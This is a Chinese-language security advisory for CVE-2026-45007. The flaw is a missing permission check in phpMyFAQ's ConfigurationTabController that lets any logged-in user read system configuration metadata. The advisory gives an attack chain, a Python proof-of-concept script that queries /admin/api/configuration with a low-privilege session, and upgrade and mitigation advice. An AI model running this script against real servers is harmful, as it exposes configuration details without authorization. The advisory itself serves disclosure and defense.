IPBUF安全漏洞报告
English
CVE-2026-45007 CVSS 4.3 中危

CVE-2026-45007: phpMyFAQ权限检查缺失致信息泄露

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45007
漏洞类型
访问控制缺失
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
phpMyFAQ

相关标签

访问控制缺失信息泄露phpMyFAQ权限绕过

漏洞概述

phpMyFAQ 4.1.2之前的版本存在权限检查缺失漏洞。由于ConfigurationTabController.php中12个端点仅检查用户认证状态而非编辑权限,任何已认证用户均可枚举系统配置元数据,造成敏感信息泄露。

技术细节

该漏洞源于phpMyFAQ源码中`ConfigurationTabController.php`文件的逻辑缺陷。受影响的12个API端点错误地使用了`userIsAuthenticated()`方法进行验证,该方法仅确认用户是否登录,而未严格调用`userHasPermission(CONFIGURATION_EDIT)`来验证用户是否具备配置编辑权限。攻击者仅需获取一个普通低权限账号,即可向`/admin/api/configuration`相关接口发送HTTP请求。成功利用后,攻击者能够枚举并读取包括权限模型、缓存后端详情、邮件服务器配置及翻译提供商在内的敏感系统元数据。这种越权访问行为严重违反了最小权限原则,可能为后续的定向攻击提供关键情报。

攻击链分析

STEP 1
侦察与信息收集
攻击者识别目标使用的是phpMyFAQ 4.1.2之前的版本。
STEP 2
获取低权限账号
攻击者注册获取或通过其他方式拥有一个普通已认证用户的账号凭证。
STEP 3
发送越权请求
攻击者使用该账号登录系统,携带Session Cookie向/admin/api/configuration发送GET请求。
STEP 4
窃取配置信息
服务器因权限校验逻辑错误,返回了系统权限模型、缓存后端等敏感配置信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_vuln(target_url, username, password): session = requests.Session() login_url = f"{target_url}/admin/login" api_url = f"{target_url}/admin/api/configuration" # Step 1: Authenticate as a low-privilege user login_data = { 'username': username, 'password': password } login_resp = session.post(login_url, data=login_data) if login_resp.status_code != 200: print("Login failed") return # Step 2: Request configuration endpoint (Vulnerable endpoint) response = session.get(api_url) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print("[+] Configuration Data Leaked:") print(response.text) else: print("[-] Could not access configuration") if __name__ == "__main__": # Replace with actual target and creds check_vuln("http://localhost:8080", "user", "password")

影响范围

phpMyFAQ < 4.1.2

防御指南

临时缓解措施
建议立即将phpMyFAQ升级至4.1.2或更高版本以修复此漏洞。如果无法立即升级,应在网络边界(如WAF或反向代理)上限制对/admin/api/configuration路径的访问,仅允许管理员IP访问,或暂时禁用低权限用户的账号直至完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表